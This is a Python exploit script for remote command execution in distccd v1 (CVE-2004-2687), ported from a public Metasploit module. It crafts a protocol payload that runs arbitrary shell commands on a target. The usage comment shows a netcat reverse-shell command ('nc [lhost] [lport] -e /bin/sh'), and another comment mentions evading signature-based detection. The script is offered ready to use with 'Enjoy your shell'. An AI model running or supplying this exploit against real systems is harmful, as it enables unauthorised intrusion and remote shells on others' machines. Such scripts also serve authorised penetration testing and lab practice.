#!/usr/bin/env python3 # -*- coding: utf-8 -*- ''' distccd v1 RCE (CVE-2004-2687) - h3x0v3rl0rd This exploit is ported from a public Metasploit exploit code: https://www.exploit-db.com/exploits/9915 local>nc -lvp [lport] local>./disccd_exploit.py -t [rhost] -p 3632 -c "nc [lhost] [lport] -e /bin/sh" Enjoy your shell ''' import socket import string import random import argparse ''' Generate a random alphanumeric string (Evade some signature-based detection?) ''' def rand_text_alphanumeric(length): return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) ''' Read STDERR / STDOUT returned by remote service. ''' def read_std(s): s.recv(4) # Ignore length = int(s.recv(8), 16) # Get output length if length != 0: return s.recv(length).decode('utf-8', 'ignore') ''' Trigger Exploit ''' def exploit(command, host, port): args = ["sh", "-c", command, "#", "-c", "main.c", "-o", "main.o"] payload = "DIST00000001" + "ARGC%.8x" % len(args) for arg in args: payload += "ARGV%.8x%s" % (len(arg), arg) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.setdefaulttimeout(5) s.settimeout(5) if s.connect_ex((host, port)) == 0: print("[\033[32mOK\033[39m] Connected to remote service") try: s.send(payload.encode('utf-8')) dtag = "DOTI0000000A" + rand_text_alphanumeric(10) s.send(dtag.encode('utf-8')) s.recv(24) print("\n--- BEGIN BUFFER ---\n") buff = read_std(s) # STDERR if buff: print(buff) buff = read_std(s) # STDOUT if buff: print(buff) print("\n--- END BUFFER ---\n") print("[\033[32mOK\033[39m] Done.") except socket.timeout: print("[\033[31mKO\033[39m] Socket Timeout") except socket.error: print("[\033[31mKO\033[39m] Socket Error") except Exception as e: print(f"[\033[31mKO\033[39m] Exception Raised: {str(e)}") finally: s.close() else: print(f"[\033[31mKO\033[39m] Failed to connect to {host} on port {port}") parser = argparse.ArgumentParser(description='DistCC Daemon - Command Execution (Metasploit)') parser.add_argument('-t', action="store", dest="host", required=True, help="Target IP/HOST") parser.add_argument('-p', action="store", type=int, dest="port", default=3632, help="DistCCd listening port") parser.add_argument('-c', action="store", dest="command", default="id", help="Command to run on target system") argv = parser.parse_args() exploit(argv.command, argv.host, argv.port)